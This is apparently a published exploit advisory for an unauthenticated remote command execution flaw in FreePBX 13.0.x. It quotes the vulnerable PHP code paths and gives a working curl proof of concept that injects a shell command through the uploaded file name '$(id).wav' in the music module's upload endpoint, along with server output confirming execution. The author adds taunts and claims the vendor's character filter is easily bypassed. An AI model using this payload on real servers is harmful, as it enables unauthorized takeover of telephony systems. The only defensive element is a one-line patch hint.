FreePBX 13.0.x < 13.0.154 - Remote Command Execution
Vulnerable software : Freepbx Tested versions : 13.0.x < 13.0.154 vendor : freepbx.org Author : i-Hmx Email : n0p1337@gmail.com Home : sec4ever.com Knock knock people , Eg-R1z on the mic again . . Freepbx is vulnerable to unauthenticated remote command execution due to multiple weak inputs validation as well as partial authenticaion bypass Need more technical shit?! Here u go File : /var/www/html/admin/libraries/Composer/vendor/symfony/process/Symfony/Component/Process/Process.php class Process { const ERR = 'err'; const OUT = 'out'; const STATUS_READY = 'ready'; const STATUS_STARTED = 'started'; const STATUS_TERMINATED = 'terminated'; Line 145: public function __construct($commandline, $cwd = null, array $env = null, $input = null, $timeout = 60, array $options = array()) { if (!function_exists('proc_open')) { throw new RuntimeException('The Process class relies on proc_open, which is not available on your PHP installation.'); } --===>>> $this->commandline = $commandline; $this->cwd = $cwd; Line 275 $commandline = $this->commandline; if ('\\' === DIRECTORY_SEPARATOR && $this->enhanceWindowsCompatibility) { $commandline = 'cmd /V:ON /E:ON /C "('.$commandline.')'; foreach ($this->processPipes->getFiles() as $offset => $filename) { $commandline .= ' '.$offset.'>'.ProcessUtils::escapeArgument($filename); } $commandline .= '"'; if (!isset($this->options['bypass_shell'])) { $this->options['bypass_shell'] = true; } } --===>>> $this->process = proc_open($commandline, $descriptors, $this->processPipes->pipes, $this->cwd, $this->env, $this->options); Class is being called at File : /var/www/html/admin/libraries/media/Media/Driver/Drivers/SoxShell.php Line 118 public function convert($newFilename,$extension,$mime) { switch($extension) { case "wav": switch($this->extension) { case "sln": $process = new Process($this->binary.' -t raw -s -b 16 -r 8000 '.$this->track.' -r '.$this->options['samplerate'].' -b '.$this->options['bitdepth'].' -c 1 '.$newFilename); break; case "sln12": $process = new Proces................. case "wav16": ---===>> $process = new Process($this->binary.' '.$this->track.' -t wav -b 16 -r 16000 -c 1 '.$newFilename); break; default: $process = new Process($this->binary.' '.$this->track.' -c 1 '.$newFilename); break; } if(!$this->background) { ---===>> $process->run(); if (!$process->isSuccessful()) { throw new \RuntimeException($process->getErrorOutput()); } } else { $process->start(); if (!$process->isRunning()) { throw new \RuntimeException($process->getErrorOutput()); } } } Sox shell can be called via multiple parts of the fpbx including the music module File : admin/modules/music/Music.class.php Line : 407 $name = $dname . '.' . $extension; move_uploaded_file($tmp_name, $this->tmp."/".$name); $media->load($this->tmp."/".$name); foreach($_POST['codec'] as $c) { --==>> $media->convert($path."/".$dname.".".$c); } unlink($this->tmp."/".$name); this part can be accessed by unauthenticated user and so it's obvious command execution vulnerable :/ POC : [root:/lab/fpbx]# curl -i -s -k -X 'POST' \ -H 'User-Agent: sec4ever 1337s' -H 'Referer: http://x.x.x.x/admin/ajax.php' -H 'Content-Type: multipart/form-data; boundary=---------------------------317092200613369' \ --data-binary $'-----------------------------317092200613369\x0d\x0aContent-Disposition: form-data; name=\"extension\"\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------317092200613369\x0d\x0aContent-Disposition: form-data; name=\"language\"\x0d\x0a\x0d\x0aen\x0d\x0a-----------------------------317092200613369\x0d\x0aContent-Disposition: form-data; name=\"filename\"\x0d\x0a\x0d\x0afa.wav\x0d\x0a-----------------------------317092200613369\x0d\x0aContent-Disposition: form-data; name=\"codec[1]\"\x0d\x0a\x0d\x0agsm\x0d\x0a-----------------------------317092200613369\x0d\x0aContent-Disposition: form-data; name=\"id\"\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------317092200613369\x0d\x0aContent-Disposition: form-data; name=\"files[1]\"; filename=\"$(id).wav\"\x0d\x0aContent-Type: text/plain\x0d\x0a\x0d\x0aEg-R1z ruling you ;)\x0d\x0a-----------------------------317092200613369\x0d\x0a\x0d\x0a' \ 'http://x.x.x.x/admin/ajax.php?module=music&command=upload' HTTP/1.1 500 Internal Server Error Date: Wed, 07 Sep 2016 17:33:02 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.28 Set-Cookie: lang=en_US Set-Cookie: PHPSESSID=6j9ei3pn1btu2o6jc1j6mngmp4; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache X-Ignore-This: 1 Connection: close Transfer-Encoding: chunked Content-Type: application/json {"error":{"type":"RuntimeException","message":"\/usr\/bin\/sox formats: can't open input file `groups=498(asterisk).wav': No such file or directory\n","file":"\/var\/www\/html\/admin\/libraries\/media\/Media\/Driver\/Drivers\/SoxShell.php","line":194}}# Patching : can be done via adding escapeshellarg to soxshell inputs Almost fixed in fpbx later versions # in this version spaces,',`,/,\,<,>,?,&,| are filtered , which can be super easily bypassed # make a priv8 , burn another ;) # From Eg-R1z with Love xD |